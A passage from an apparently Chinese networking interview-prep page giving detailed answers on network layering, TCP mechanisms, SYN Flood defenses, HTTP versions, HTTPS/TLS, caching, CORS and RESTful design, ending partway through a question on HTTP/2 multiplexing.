跳转至

计算机网络面试题

40 道网络面试高频题 + 详细解答,覆盖网络模型、 TCP/UDP 、 HTTP/HTTPS 、综合应用等核心知识点。


一、网络模型( 5 题)

1. OSI 七层模型和 TCP/IP 四层模型分别是什么?它们之间有什么对应关系

OSI 七层模型(自下而上):

层次 名称 功能 协议/设备示例
第 7 层 应用层 为用户应用提供网络服务接口 HTTP 、 FTP 、 SMTP 、 DNS
第 6 层 表示层 数据格式转换、加密解密、压缩 SSL/TLS 、 JPEG 、 ASCII
第 5 层 会话层 建立、管理和终止会话 RPC 、 SQL 、 NFS
第 4 层 传输层 端到端的可靠数据传输 TCP 、 UDP
第 3 层 网络层 路由选择和逻辑寻址 IP 、 ICMP 、路由器
第 2 层 数据链路层 帧传输、差错检测 Ethernet 、交换机、网桥
第 1 层 物理层 比特流的物理传输 网线、光纤、集线器

TCP/IP 四层模型:

层次 名称 对应 OSI 层 协议示例
第 4 层 应用层 应用层+表示层+会话层 HTTP 、 DNS 、 FTP
第 3 层 传输层 传输层 TCP 、 UDP
第 2 层 网际层 网络层 IP 、 ICMP 、 ARP
第 1 层 网络接口层 数据链路层+物理层 Ethernet 、 PPP

核心区别: - OSI 是理论参考模型,先有模型后有协议,分层更细致但实际中未完全实现 - TCP/IP 是实际使用的协议族,先有协议后有模型,更加实用 - TCP/IP 将 OSI 的上三层合并为应用层,下两层合并为网络接口层

2. 各层常见的协议和设备有哪些

应用层协议: - HTTP/HTTPS:超文本传输协议, Web 通信的基础 - FTP:文件传输协议,用于文件上传下载 - SMTP/POP3/IMAP:邮件发送和接收协议 - DNS:域名解析协议,将域名转换为 IP 地址 - SSH:安全远程登录协议 - Telnet:远程终端协议(明文,不安全) - SNMP:简单网络管理协议

传输层协议: - TCP:面向连接的可靠传输协议 - UDP:无连接的不可靠传输协议

网络层协议与设备: - 协议: IP 、 ICMP ( ping )、 IGMP (组播)、 OSPF 、 BGP - 设备:路由器(根据 IP 地址进行路由转发)

数据链路层协议与设备: - 协议: Ethernet 、 PPP 、 VLAN 、 STP - 设备:交换机(根据 MAC 地址进行帧转发)、网桥

物理层设备: - 集线器( Hub ):广播方式转发信号 - 中继器、调制解调器 - 传输介质:双绞线、光纤、同轴电缆

3. 数据在网络中的封装和解封装过程是怎样的

数据从发送端到接收端,经历封装(发送端)和解封装(接收端)两个过程:

发送端封装过程(自上而下):

Text Only
应用层:    [      数据(Data)       ]
               ↓ 加上TCP/UDP头
传输层:    [TCP头][     数据       ]  → 段(Segment)
               ↓ 加上IP头
网络层:    [IP头][TCP头][  数据    ]  → 包(Packet)
               ↓ 加上帧头和帧尾
数据链路层:[帧头][IP头][TCP头][数据][FCS]  → 帧(Frame)
               ↓ 转换为比特流
物理层:    01101001101010110...      → 比特(Bit)

各层添加的头部信息: - TCP 头部:源端口、目的端口、序列号、确认号、标志位 - IP 头部:源 IP 、目的 IP 、 TTL 、协议类型 - 帧头部:源 MAC 、目的 MAC 、类型 - 帧尾( FCS ):帧校验序列,用于差错检测

接收端解封装过程(自下而上): 按照物理层→数据链路层→网络层→传输层→应用层的顺序,逐层去掉对应的头部,最终还原出原始数据。

4. 为什么网络要分层?分层有什么好处

分层的原因和好处:

  1. 降低复杂度:将复杂的网络通信分解为若干个相对独立的层次,每层只关注特定的功能
  2. 模块化设计:各层之间相互独立,修改某一层的实现不影响其他层
  3. 促进标准化:每层的功能和接口有明确定义,便于不同厂商实现互操作
  4. 易于维护和升级:可以单独升级某一层的技术而不影响整体架构
  5. 便于学习和理解:系统化的知识体系便于学习
  6. 促进竞争:各层可以由不同厂商独立开发

分层的缺点: - 某些功能在多层中重复出现(如差错控制) - 过于理想化的分层可能降低效率(如 OSI 模型) - 层间数据传递需要额外的开销(头部封装)

5. 交换机和路由器的区别是什么

对比维度 交换机(Switch) 路由器(Router)
工作层次 数据链路层(二层交换机) 网络层
寻址方式 基于 MAC 地址 基于 IP 地址
转发依据 MAC 地址表 路由表
广播域 不隔离广播域 隔离广播域
冲突域 每个端口是独立冲突域 每个端口是独立冲突域
主要功能 局域网内帧转发 不同网络间的路由选择
速度 硬件转发,速度快 软件路由(也有硬件),相对较慢
使用场景 连接同一网络内的设备 连接不同网络

补充说明: - 三层交换机结合了交换和路由功能,可以处理 IP 路由 - 路由器通常还提供 NAT 、防火墙、 VPN 等功能 - 集线器(Hub)工作在物理层,所有端口共享带宽,现在已基本被交换机取代


二、 TCP 相关( 10 题)

6. 请详细描述 TCP 三次握手的过程

三次握手过程:

Text Only
客户端(Client)                              服务器(Server)
  CLOSED                                      LISTEN
    |                                           |
    |-------- SYN=1, seq=x ------------------>  |
    |         (第一次握手)                       |
  SYN_SENT                                   SYN_RCVD
    |                                           |
    |<------- SYN=1,ACK=1, seq=y,ack=x+1 ----- |
    |         (第二次握手)                       |
  ESTABLISHED                                   |
    |                                           |
    |-------- ACK=1, seq=x+1, ack=y+1 -------> |
    |         (第三次握手)                       |
  ESTABLISHED                              ESTABLISHED

详细分析每一步:

第一次握手: - 客户端发送 SYN 报文: SYN 标志位=1 ,初始序列号 seq=x (随机生成的 ISN ) - 客户端状态从 CLOSED 变为 SYN_SENT - 此时客户端表明:"我要和你建立连接,我的初始序列号是 x"

第二次握手: - 服务器收到 SYN 后,回复 SYN+ACK 报文: SYN=1,ACK=1,序列号 seq=y (服务器的 ISN ),确认号 ack=x+1 - 服务器状态从 LISTEN 变为 SYN_RCVD - ack=x+1 表示:确认收到了客户端序号为 x 的数据,期望下一个收到序号为 x+1 - 此时服务器表明:"收到你的请求了,我也要建立连接,我的初始序列号是 y"

第三次握手: - 客户端收到 SYN+ACK 后,发送 ACK 报文: ACK=1,seq=x+1,ack=y+1 - 客户端状态变为 ESTABLISHED ,服务器收到后也变为 ESTABLISHED - 第三次握手可以携带数据

为什么是三次而不是两次? - 防止已失效的连接请求到达服务器。如果只有两次,客户端发送的 SYN 因网络延迟很久才到达服务器,服务器会建立连接并分配资源,但客户端已经不打算连接了,造成资源浪费 - 三次握手的本质目的:确认双方的发送能力和接收能力都正常,同步双方的初始序列号

7. 请详细描述 TCP 四次挥手的过程? TIME_WAIT 状态存在的原因

四次挥手过程:

Text Only
客户端(Client)                              服务器(Server)
  ESTABLISHED                              ESTABLISHED
    |                                           |
    |-------- FIN=1, seq=u ------------------>  |
    |         (第一次挥手)                       |
  FIN_WAIT_1                               CLOSE_WAIT
    |                                           |
    |<------- ACK=1, seq=v, ack=u+1 ---------- |
    |         (第二次挥手)                       |
  FIN_WAIT_2                                    |
    |         (服务器继续发送剩余数据...)         |
    |                                           |
    |<------- FIN=1,ACK=1, seq=w, ack=u+1 ---- |
    |         (第三次挥手)                       |
  TIME_WAIT                                LAST_ACK
    |                                           |
    |-------- ACK=1, seq=u+1, ack=w+1 -------> |
    |         (第四次挥手)                       |
  TIME_WAIT(等待2MSL)                       CLOSED
    |                                           |
  CLOSED

为什么是四次而不是三次? - TCP 是全双工通信,每个方向需要单独关闭 - 当客户端发送 FIN 时,仅表示客户端不再发送数据,但还可以接收数据 - 服务器收到 FIN 后先回 ACK 确认,此时可能还有数据需要发送给客户端 - 待服务器数据发送完毕后,再发送 FIN 表示也不再发送数据 - 因此需要四次而非三次( ACK 和 FIN 不能合并,因为中间可能还有数据要发)

TIME_WAIT 状态存在的原因(等待 2MSL ):

MSL ( Maximum Segment Lifetime )是报文最大生存时间,通常为 30 秒到 2 分钟。

  1. 确保最后的 ACK 能到达服务器:如果最后的 ACK 丢失,服务器会重发 FIN ,客户端需要在 TIME_WAIT 期间能重新发送 ACK
  2. 确保旧连接的重复报文在网络中消失:等待 2MSL 后,本连接的所有报文都会从网络中消失,防止新连接收到旧连接的报文

TIME_WAIT 过多的问题和解决: - 每个 TIME_WAIT 占用一个端口和内存,大量 TIME_WAIT 会影响新连接建立 - 解决方案: - 设置SO_REUSEADDR允许端口复用 - 调整内核参数tcp_tw_reusetcp_tw_recycle(注意:tcp_tw_recycle在 NAT 环境下有问题) - 减小tcp_fin_timeout的值

8. TCP 和 UDP 有什么区别?各自的应用场景是什么

对比维度 TCP UDP
连接方式 面向连接(三次握手) 无连接
可靠性 可靠传输(确认、重传、排序) 不可靠传输
有序性 保证数据有序到达 不保证有序
速度 相对较慢(有控制开销) 速度快(开销小)
传输方式 面向字节流 面向数据报
拥塞控制 有(慢启动、拥塞避免等)
流量控制 有(滑动窗口)
头部大小 20-60 字节 8 字节
广播/组播 不支持 支持
传输模式 一对一 一对一、一对多、多对多
适用场景 要求可靠传输 实时性要求高、允许丢包

TCP 应用场景: - HTTP/HTTPS ( Web 浏览) - FTP (文件传输) - SMTP/POP3 (邮件) - SSH (远程登录) - 数据库连接

UDP 应用场景: - DNS 查询(短报文,快速响应) - 视频/音频流媒体 - 在线游戏 - DHCP (动态 IP 分配) - SNMP (网络管理) - VoIP (网络电话)

9. TCP 如何保证可靠传输

TCP 通过以下机制保证可靠传输:

1. 校验和( Checksum ) - TCP 头部包含校验和字段,覆盖 TCP 头部和数据 - 发送方计算校验和,接收方验证,不一致则丢弃报文

2. 序列号( Sequence Number ) - 每个字节都有唯一的序列号 - 接收方可以根据序列号对失序的报文进行排序 - 也可以检测到重复的报文并丢弃

3. 确认应答( ACK ) - 接收方收到数据后发送 ACK ,确认号表示期望收到的下一个字节的序列号 - 发送方通过 ACK 知道数据已成功到达

4. 超时重传( Timeout Retransmission ) - 发送方发送数据后启动计时器 - 如果超时未收到 ACK ,则重传数据 - 超时时间( RTO )根据 RTT 动态计算

5. 流量控制( Flow Control ) - 使用滑动窗口机制 - 接收方在 ACK 中通告自己的接收窗口大小( rwnd ) - 发送方发送量不超过接收方窗口大小 - 防止发送方发送过快导致接收方缓冲区溢出

Text Only
发送方窗口:
|--已发送已确认--|--已发送未确认--|--允许发送未发送--|--不允许发送--|
               ^                                  ^
           窗口左边界                          窗口右边界

6. 拥塞控制( Congestion Control ) - 防止过多数据注入网络导致网络拥塞 - 包括慢启动、拥塞避免、快重传、快恢复四种算法 - 使用拥塞窗口( cwnd )控制发送速率

7. 连接管理 - 三次握手建立可靠连接 - 四次挥手安全释放连接

10. TCP 拥塞控制的四种算法是什么?请详细说明

核心概念: - 拥塞窗口( cwnd ):发送方维护的窗口,控制发送速率 - 慢启动门限( ssthresh ):慢启动阈值,初始值通常较大 - 实际发送窗口 = min(cwnd, rwnd)

1. 慢启动( Slow Start )

Text Only
cwnd初始值 = 1 MSS
每收到一个ACK: cwnd = cwnd + 1 MSS
效果: 每经过一个RTT, cwnd翻倍 (指数增长)

cwnd变化: 1 → 2 → 4 → 8 → 16 → ... → ssthresh
当cwnd >= ssthresh时,切换到拥塞避免

2. 拥塞避免( Congestion Avoidance )

Text Only
当cwnd >= ssthresh后启动
每经过一个RTT: cwnd = cwnd + 1 MSS (线性增长)

cwnd变化: ssthresh → ssthresh+1 → ssthresh+2 → ...
直到检测到拥塞(丢包)

3. 快重传( Fast Retransmit )

Text Only
当发送方连续收到3个重复ACK时:
- 立即重传丢失的报文,无需等待超时
- 这样减少了等待超时重传的时间

示例:
发送 1,2,3,4,5  其中3丢失
收到 ACK2, ACK2, ACK2 (3个重复ACK)
立即重传报文3

4. 快恢复( Fast Recovery )

Text Only
收到3个重复ACK后:
1. ssthresh = cwnd / 2
2. cwnd = ssthresh + 3 (加3是因为收到了3个重复ACK)
3. 进入拥塞避免阶段(线性增长)

如果是超时事件:
1. ssthresh = cwnd / 2
2. cwnd = 1 MSS
3. 重新进入慢启动阶段

完整过程示意图:

Text Only
cwnd
  |          超时
  |         /丢包          3个重复ACK
  |        /    |              |
  |       /     |  快恢复      |
  |      / 拥塞  | /          |
  |     / 避免   |/ 拥塞      |
  |    /  (线性) |  避免      |
  |   /         |  (线性)     |
  |  / 慢启动   |             |
  | / (指数)    |             |
  |/____________|_____________|____> 时间
     ssthresh    新ssthresh

11. 什么是 TCP 粘包和拆包?如何解决

粘包和拆包的概念:

TCP 是面向字节流的协议,没有消息边界的概念。发送方发送的多个数据包可能被 TCP 合并成一个大包发送(粘包),或者一个大包被拆分成多个小包发送(拆包)。

粘包/拆包场景:

Text Only
发送方发送了两个数据包 D1 和 D2

正常情况: |--D1--|  |--D2--|  (两次接收)

粘包:     |--D1--D2--|         (一次接收到D1+D2)

拆包:     |--D1的前半--|  |--D1的后半--D2--|  (D1被拆开)

粘包+拆包: |--D1--D2的前半--|  |--D2的后半--|

产生原因:

粘包原因: 1. 发送方: Nagle 算法将小包合并发送 2. 接收方:应用层读取缓冲区数据不及时,多个包堆积在缓冲区

拆包原因: 1. 发送的数据大于 TCP 发送缓冲区剩余空间 2. 发送的数据大于 MSS (最大报文段长度)

解决方案:

方案 1 :固定长度

Python
# 每个消息固定为100字节,不足则填充
message = data.ljust(100, b'\x00')

方案 2 :分隔符

Python
# 使用特殊分隔符(如\r\n)
message = data + b'\r\n'
# 接收方按分隔符切割

方案 3 :长度前缀(推荐)

Python
import struct
# 发送时:先发4字节长度头,再发数据
length = len(data)
header = struct.pack('!I', length)  # 4字节大端序
send(header + data)

# 接收时:先读4字节获取长度,再读取对应长度数据
header = recv(4)
length = struct.unpack('!I', header)[0]
data = recv(length)

方案 4 :使用更高层协议 - HTTP 协议中的 Content-Length 头部 - Protobuf 等序列化框架 - WebSocket 的帧定义

12. Nagle 算法是什么?为什么有时需要关闭它

Nagle 算法原理:

Nagle 算法用于减少网络中小包( tinygram )的数量,提高网络利用率。

算法规则: - 如果有已发送但未确认的数据,那么小数据包(小于 MSS )会被缓存起来 - 等到收到前一个数据的 ACK ,或者缓存的数据达到 MSS 大小,才会发送 - 第一个小包可以立即发送

Text Only
伪代码:
if 有数据要发送:
    if 数据大小 >= MSS:
        立即发送
    elif 没有未确认的数据:
        立即发送
    else:
        将数据缓存起来,等待ACK或数据达到MSS

优点: 减少小包数量,提高带宽利用率

需要关闭 Nagle 算法的场景: 1. 实时性要求高的场景:在线游戏、 SSH 交互、远程桌面 2. 与延迟 ACK ( Delayed ACK )冲突: TCP 默认会延迟发送 ACK (等 40-200ms 或等到有数据一起发),和 Nagle 算法结合会导致额外延迟 3. HTTP 请求:先发 header 再发 body , Nagle 会等 header 的 ACK

关闭方法:

C
// 设置TCP_NODELAY选项
int flag = 1;
setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, &flag, sizeof(flag));

13. TCP Keep-Alive 机制是什么

TCP Keep-Alive (保活机制):

用于检测长时间空闲的 TCP 连接是否仍然有效。

工作原理: 1. 当 TCP 连接在一段时间内没有数据传输时,启用 Keep-Alive 的一方会发送探测报文 2. 如果对方正常响应 ACK ,说明连接有效,重置计时器 3. 如果多次探测无响应,则认为连接已断开,关闭连接

Linux 系统下的三个参数:

Bash
# 空闲多久后开始发送探测包(默认7200秒=2小时)
net.ipv4.tcp_keepalive_time = 7200

# 探测包的发送间隔(默认75秒)
net.ipv4.tcp_keepalive_intvl = 75

# 最多发送几次探测包(默认9次)
net.ipv4.tcp_keepalive_probes = 9

应用层 Keep-Alive vs TCP Keep-Alive :

维度 TCP Keep-Alive 应用层心跳
层次 传输层 应用层
灵活性 参数固定(系统级) 可自定义频率和内容
功能 仅检测连接是否存活 可以携带业务数据
默认 通常关闭 需要自行实现
示例 TCP 保活探测 WebSocket ping/pong

为什么要使用 Keep-Alive ? - 检测死连接(对端崩溃、网络中断) - 防止 NAT/防火墙超时关闭空闲连接 - 及时释放已失效连接的资源

14. TCP 的滑动窗口机制是如何工作的

滑动窗口的作用: - 实现流量控制,防止发送方发送过快 - 提高传输效率,允许一次发送多个报文段而不必逐一等待确认

发送方滑动窗口:

Text Only
     已确认    已发送未确认    可发送      不可发送
  |---------|-------------|---------|----------->
  ^         ^             ^         ^
  |     SND.UNA      SND.NXT    SND.UNA+SND.WND

  SND.UNA: Send Unacknowledged, 最早未确认的序号
  SND.NXT: Send Next, 下一个要发送的序号
  SND.WND: Send Window, 发送窗口大小

接收方滑动窗口:

Text Only
     已确认交付     接收窗口内      不可接收
  |-------------|-------------|----------->
  ^             ^             ^
              RCV.NXT    RCV.NXT+RCV.WND

  RCV.NXT: 期望收到的下一个序号
  RCV.WND: 接收窗口大小

窗口滑动过程: 1. 发送方在窗口范围内连续发送多个报文 2. 收到 ACK 后,窗口左边界右移,滑动窗口向前 3. 接收方通过 ACK 携带的窗口大小( rwnd )通告发送方可发送的数据量 4. 发送方实际窗口 = min(cwnd, rwnd)

零窗口问题: - 接收方缓冲区满时,通告 rwnd=0 ,发送方停止发送 - 发送方启动持续计时器,定期发送窗口探测报文 - 接收方处理部分数据后,通告新的 rwnd 值

15. SYN Flood 攻击是什么?如何防御

SYN Flood 攻击原理:

攻击者伪造大量不存在的源 IP 地址,不断向服务器发送 SYN 报文。服务器为每个 SYN 分配资源并回复 SYN+ACK ,但由于源 IP 是伪造的,永远收不到第三次握手的 ACK ,导致大量半连接占用服务器资源(半连接队列溢出),正常用户无法建立连接。

Text Only
攻击者(伪造IP) → SYN → 服务器
                      ← SYN+ACK → (发到伪造IP,无响应)
                      等待ACK... (超时重试,占用资源)

攻击者(伪造IP) → SYN → 服务器
                      ← SYN+ACK → (发到伪造IP,无响应)
                      等待ACK... (半连接队列逐渐满)

防御方法:

1. SYN Cookie - 服务器收到 SYN 时不分配资源,不加入半连接队列 - 根据源 IP 、端口、时间戳等信息计算一个 Cookie 作为 ISN 放入 SYN+ACK - 收到第三次 ACK 时验证 Cookie 有效性,有效才分配资源 - Linux: net.ipv4.tcp_syncookies = 1

2. 增大半连接队列

Bash
net.ipv4.tcp_max_syn_backlog = 65535

3. 减少 SYN+ACK 重试次数

Bash
net.ipv4.tcp_synack_retries = 1  # 默认5次

4. 防火墙/IDS 限流 - 限制同一 IP 的 SYN 速率 - 检测异常 SYN 流量并过滤

5. 使用 CDN/负载均衡 - 将流量分散到多台服务器


三、 HTTP 相关( 12 题)

16. HTTP/1.0 、 HTTP/1.1 、 HTTP/2.0 、 HTTP/3.0 有什么区别

特性 HTTP/1.0 HTTP/1.1 HTTP/2.0 HTTP/3.0
年份 1996 1997 2015 2022
连接方式 短连接 持久连接(默认) 多路复用 基于 QUIC
传输协议 TCP TCP TCP UDP(QUIC)
管线化 不支持 支持(但有队头阻塞) 多路复用解决 无队头阻塞
头部压缩 HPACK 压缩 QPACK 压缩
服务器推送 不支持 不支持 支持 支持
传输格式 文本 文本 二进制帧 二进制帧

HTTP/1.1 改进: - 默认持久连接( Connection: keep-alive ) - 管线化:可以连续发送多个请求不必等待响应(但响应必须按序返回,有队头阻塞) - 新增缓存控制( Cache-Control 、 ETag ) - 支持断点续传( Range 请求头) - 新增 Host 头部支持虚拟主机

HTTP/2.0 改进: - 多路复用:一个 TCP 连接上可以并行发送多个请求和响应,彻底解决 HTTP 层队头阻塞 - 二进制分帧:将 HTTP 消息分解为帧( HEADERS 帧和 DATA 帧),二进制编码更高效 - 头部压缩: HPACK 算法,维护静态表和动态表,压缩头部 - 服务器推送:服务器可以主动推送资源给客户端 - 流优先级:可以设置请求的优先级

HTTP/3.0 改进: - 基于 QUIC 协议:使用 UDP 替代 TCP , QUIC 在 UDP 上实现可靠传输 - 解决 TCP 队头阻塞: TCP 层面丢包会阻塞所有流, QUIC 独立处理每个流 - 0-RTT/1-RTT 建连: QUIC 握手更快,首次 1-RTT ,后续 0-RTT - 连接迁移:使用连接 ID 标识连接,网络切换(如 WiFi→4G )时连接不中断

17. HTTPS 的原理是什么? SSL/TLS 握手过程是怎样的

HTTPS = HTTP + SSL/TLS

为什么需要 HTTPS ? HTTP 的三个安全问题: 1. 窃听风险:明文传输,数据可被监听 2. 篡改风险:数据可被中间人修改 3. 冒充风险:无法验证通信方身份

HTTPS 如何解决这三个问题: 1. 加密:混合加密(非对称加密交换密钥 + 对称加密传输数据) 2. 完整性:消息认证码( MAC )/数字签名 3. 认证:数字证书( CA 机构签发)

SSL/TLS 握手完整过程(以 TLS 1.2 为例):

Text Only
客户端                                          服务器
  |                                               |
  |--- 1. ClientHello --------------------------> |
  |    (TLS版本, 支持的加密套件列表,               |
  |     客户端随机数Client Random)                 |
  |                                               |
  |<-- 2. ServerHello --------------------------- |
  |    (选定的TLS版本, 加密套件,                   |
  |     服务器随机数Server Random)                 |
  |                                               |
  |<-- 3. Certificate --------------------------- |
  |    (服务器的数字证书,含公钥)                   |
  |                                               |
  |<-- 4. ServerHelloDone ----------------------- |
  |                                               |
  | 5. 客户端验证证书(证书链→CA根证书)              |
  |                                               |
  |--- 6. ClientKeyExchange --------------------> |
  |    (用服务器公钥加密的Pre-Master Secret)        |
  |                                               |
  | 7. 双方根据三个随机数生成会话密钥:               |
  |    Master Secret = PRF(Pre-Master Secret,      |
  |                    Client Random,              |
  |                    Server Random)              |
  |                                               |
  |--- 8. ChangeCipherSpec ---------------------> |
  |    (通知切换到加密通信)                         |
  |                                               |
  |--- 9. Finished (加密的验证数据) -------------> |
  |                                               |
  |<-- 10. ChangeCipherSpec ---------------------- |
  |<-- 11. Finished (加密的验证数据) ------------- |
  |                                               |
  |===== 使用会话密钥进行对称加密通信 ============= |

为什么用混合加密? - 非对称加密(如 RSA )安全但很慢 - 对称加密(如 AES )快但密钥分发困难 - 混合方案:用非对称加密安全地交换对称密钥,然后用对称加密传输数据

18. HTTP 状态码有哪些?分别代表什么含义

状态码分类:

类别 范围 含义
1xx 100-199 信息性(请求已接收,继续处理)
2xx 200-299 成功
3xx 300-399 重定向
4xx 400-499 客户端错误
5xx 500-599 服务器错误

常用状态码详解:

2xx 成功: - 200 OK:请求成功 - 201 Created:资源创建成功(通常用于 POST/PUT ) - 204 No Content:请求成功但无响应体(通常用于 DELETE ) - 206 Partial Content:部分内容(断点续传, Range 请求)

3xx 重定向: - 301 Moved Permanently:永久重定向(搜索引擎更新 URL ,浏览器缓存) - 302 Found:临时重定向(搜索引擎不更新 URL ) - 304 Not Modified:资源未修改(协商缓存命中,使用本地缓存) - 307 Temporary Redirect:临时重定向(不改变请求方法) - 308 Permanent Redirect:永久重定向(不改变请求方法)

4xx 客户端错误: - 400 Bad Request:请求语法错误 - 401 Unauthorized:需要认证(未登录) - 403 Forbidden:拒绝访问(已认证但无权限) - 404 Not Found:资源不存在 - 405 Method Not Allowed:方法不被允许 - 408 Request Timeout:请求超时 - 413 Payload Too Large:请求体过大 - 429 Too Many Requests:请求频率过高(限流)

5xx 服务器错误: - 500 Internal Server Error:服务器内部错误 - 502 Bad Gateway:网关/代理收到无效响应 - 503 Service Unavailable:服务暂不可用(过载或维护) - 504 Gateway Timeout:网关/代理超时

19. GET 和 POST 有什么区别

对比维度 GET POST
语义 获取资源 提交数据/创建资源
参数位置 URL 查询字符串 请求体(Body)
参数长度 受 URL 长度限制(通常 2KB-8KB) 理论上无限制
安全性 参数暴露在 URL 中, 不安全 相对安全(但明文传输仍不安全)
幂等性 幂等(多次请求结果相同) 非幂等(多次提交可能产生不同结果)
缓存 可被缓存 一般不缓存
书签 可以保存为书签 不可以
浏览器历史 参数保留在历史记录 参数不保留
编码类型 application/x-www-form-urlencoded 支持多种编码(form-data, JSON 等)
TCP 包 取决于 TCP 实现和数据大小,与 HTTP 方法无关 取决于 TCP 实现和数据大小,与 HTTP 方法无关
后退/刷新 无害 数据会重新提交(浏览器提示)

重要澄清: - GET 和 POST 的区别主要是语义约定上的,从技术实现角度, GET 也可以有 Body , POST 也可以用 URL 参数 - 所谓 GET 比 POST 不安全,仅指参数在 URL 中可见,但如果不用 HTTPS ,两者都不安全 - RFC 规范中 GET 是安全且幂等的, POST 不是

Cookie : - 存储在客户端(浏览器)的小型文本数据 - 由服务器通过Set-Cookie响应头设置 - 浏览器后续请求会自动携带 Cookie - 受同源策略限制 - 存储大小限制约 4KB - 有安全隐患( CSRF 攻击)

Session : - 存储在服务器端的会话数据 - 通过 Session ID 标识用户( Session ID 通常存在 Cookie 中) - 服务器需要维护 Session 存储(内存/Redis/数据库) - 安全性优于 Cookie (敏感数据在服务端) - 缺点:分布式环境下需要 Session 共享( Session Sticky/Redis 集中存储)

Token : - 无状态的认证凭证 - 服务器生成 Token 返回给客户端,客户端自行存储 - 请求时通过Authorization头携带 Token - 服务器验证 Token 有效性,无需存储会话状态 - 适合分布式系统、移动端、 API 认证

JWT ( JSON Web Token ): - Token 的一种标准实现 - 由三部分组成: Header.Payload.Signature

Text Only
// Header
{
  "alg": "HS256",  // 签名算法
  "typ": "JWT"
}

// Payload(声明)
{
  "sub": "user123",    // 用户ID
  "name": "张三",      // 用户名
  "iat": 1516239022,   // 签发时间
  "exp": 1516325422    // 过期时间
}

// Signature
HMACSHA256(
  base64UrlEncode(Header) + "." + base64UrlEncode(Payload),
  secret
)

最终JWT: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyMTIzIn0.abc123signature

对比总结:

维度 Cookie Session Token/JWT
存储位置 客户端 服务端 客户端
有状态/无状态 有状态 无状态
跨域 不支持 不支持 支持
分布式支持 需额外处理 天然支持
安全性 较低 较高 较高
移动端支持 一般

21. HTTP 缓存机制是怎样的?强缓存和协商缓存如何工作

HTTP 缓存分为两类:强缓存和协商缓存

强缓存(不与服务器通信,直接使用本地缓存):

头部 说明 优先级
Expires 绝对过期时间( HTTP/1.0 ),受客户端时钟影响
Cache-Control 相对过期时间( HTTP/1.1 ),更可靠

Cache-Control 常用指令: - max-age=3600:缓存有效期 3600 秒 - no-cache:不使用强缓存,每次都要协商 - no-store:完全不缓存 - public:可被代理/CDN 缓存 - private:仅浏览器可缓存 - s-maxage:代理服务器缓存时间

协商缓存(与服务器通信确认缓存是否有效):

方式 1 : Last-Modified / If-Modified-Since

Text Only
首次请求:
Response: Last-Modified: Thu, 01 Jan 2024 00:00:00 GMT

再次请求:
Request:  If-Modified-Since: Thu, 01 Jan 2024 00:00:00 GMT
Response: 304 Not Modified (未修改) 或 200 OK + 新内容

方式 2 : ETag / If-None-Match (优先级更高)

Text Only
首次请求:
Response: ETag: "abc123"

再次请求:
Request:  If-None-Match: "abc123"
Response: 304 Not Modified (ETag一致) 或 200 OK + 新内容

ETag vs Last-Modified : - Last-Modified 精度为秒, 1 秒内多次修改无法感知 - 文件只是打开但没修改, Last-Modified 也会变化 - ETag 基于内容生成哈希,更精确 - ETag 优先级高于 Last-Modified

完整缓存判断流程:

Text Only
浏览器请求资源
 ├── 有缓存?
 │    ├── 否 → 向服务器请求
 │    └── 是 → 强缓存是否过期?
 │         ├── 否(Cache-Control未过期) → 使用缓存 (200 from cache)
 │         └── 是 → 协商缓存
 │              ├── 带上ETag/Last-Modified请求服务器
 │              ├── 资源未修改 → 304 Not Modified, 使用本地缓存
 │              └── 资源已修改 → 200 OK, 返回新资源

22. CORS 跨域的原理是什么?如何解决跨域问题

同源策略: 浏览器的安全策略,限制不同源(协议、域名、端口任一不同)的页面之间互相访问资源。

CORS ( Cross-Origin Resource Sharing ): 服务器通过设置 HTTP 响应头,允许指定的跨域请求。

简单请求 vs 预检请求:

简单请求(满足以下全部条件): - 方法: GET / HEAD / POST - Content-Type : text/plain 、 multipart/form-data 、 application/x-www-form-urlencoded - 没有自定义头部

预检请求(不满足简单请求条件): - 浏览器先发送 OPTIONS 预检请求 - 服务器返回允许的方法、头部等信息 - 浏览器检查通过后再发送实际请求

Text Only
# 预检请求
OPTIONS /api/data
Origin: https://example.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Content-Type, Authorization

# 预检响应
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 86400  # 预检结果缓存时间

解决跨域的方案:

1. CORS (推荐)

Text Only
# 服务器端设置响应头
Access-Control-Allow-Origin: https://example.com  # 或 * 允许所有
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true  # 允许携带Cookie

2. 反向代理( Nginx )

Nginx Configuration File
server {
    location /api/ {
        proxy_pass http://backend-server/;
    }
}

3. JSONP (仅支持 GET ,已过时)

HTML
<script src="https://api.example.com/data?callback=handleData"></script>

4. WebSocket (不受同源策略限制)

23. RESTful API 设计的核心原则是什么

REST ( Representational State Transfer )核心原则:

1. 资源标识( URI 设计)

Text Only
# 好的设计
GET    /api/users          # 获取用户列表
GET    /api/users/123      # 获取特定用户
POST   /api/users          # 创建用户
PUT    /api/users/123      # 更新用户(全量)
PATCH  /api/users/123      # 更新用户(部分)
DELETE /api/users/123      # 删除用户

# 嵌套资源
GET    /api/users/123/orders     # 获取用户的订单
GET    /api/users/123/orders/456 # 获取特定订单

# 不好的设计
GET /api/getUser?id=123
POST /api/deleteUser
GET /api/getUserOrderList

2. HTTP 方法语义

方法 语义 幂等 安全
GET 获取资源
POST 创建资源
PUT 全量更新
PATCH 部分更新
DELETE 删除资源

3. 状态码使用 - 200 :成功 - 201 :创建成功 - 204 :删除成功 - 400 :参数错误 - 401 :未认证 - 403 :无权限 - 404 :资源不存在 - 500 :服务器错误

4. 统一响应格式

JSON
{
  "code": 200,
  "message": "success",
  "data": {
    "id": 123,
    "name": "张三"
  }
}

5. 版本控制

Text Only
/api/v1/users
/api/v2/users

6. 分页、过滤、排序

Text Only
GET /api/users?page=1&size=20&sort=created_at&order=desc&name=张

24. HTTP/2 的多路复用是如何解决 HTTP/1.1 队头阻塞问题的

HTTP/1.1 的队头阻塞问题:

HTTP/1.1 的管线化允许在一个 TCP 连接上发送多个请求,但响应必须按照请求的顺序返回。如果第一个请求的响应很慢,后面的响应都会被阻塞。

Text Only
HTTP/1.1管线化:
请求:  Req1 → Req2 → Req3
响应:  Res1(慢) ← (Res2和Res3被阻塞)

实际上浏览器通常不启用管线化,而是开6-8个TCP连接并行

HTTP/2 多路复用解决方案:

